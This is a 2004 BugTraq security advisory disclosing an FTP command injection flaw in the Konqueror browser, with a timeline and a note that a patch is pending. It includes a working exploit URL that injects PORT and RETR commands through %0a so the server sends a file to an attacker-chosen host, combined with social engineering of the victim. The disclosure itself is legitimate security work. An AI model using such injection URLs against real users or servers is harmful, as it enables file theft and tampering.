BugTraq
7a69Adv#16 - Konqueror FTP command injection Dec 05 2004 09:11AM
Albert Puigsech Galicia (ripe 7a69ezine org)
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7a69ezine Advisories 7a69Adv#16
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http://www.7a69ezine.org [05/12/2004]
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Title: Konqueror FTP command injection

Author: Albert Puigsech Galicia - <ripe (at) 7a69ezine (dot) org [email concealed]>

Software: Konqueror browser

Versions: >= 3.3.1

Remote: yes

Exploit: yes

Severity: Low-Medium

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I. Introduction.

Konqueror is a very multifuncional HTTP browser included on KDE base package.
Like others browsers it can use more protocols, for example FTP. This
aplication is usualy used to navigate through the filesystems.

II. Description.

In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).

USER ftpuser
PASS ftppass
CWD /directory/

The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.

USER ftpuser
PASS ftppass
CWD /directory
somecommand

The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.

III. Exploit

You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is to
download files. Its posible to do that using this URL;

ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.

IV. Patch

Konqueror developers have been contacted, and patch will be avaliable soon.

V. Timeline

01/12/2004 - Bug discovered
02/12/2004 - KDE developers contacted
03/12/2004 - Fast developers reply
03/12/2004 - IE also afected, so we decide to publish the bug
05/12/2004 - Advisor released

VI. Extra data

You can find more 7a69ezine advisories on this following link:

http://www.7a69ezine.org/avisos/propios [spanish info]

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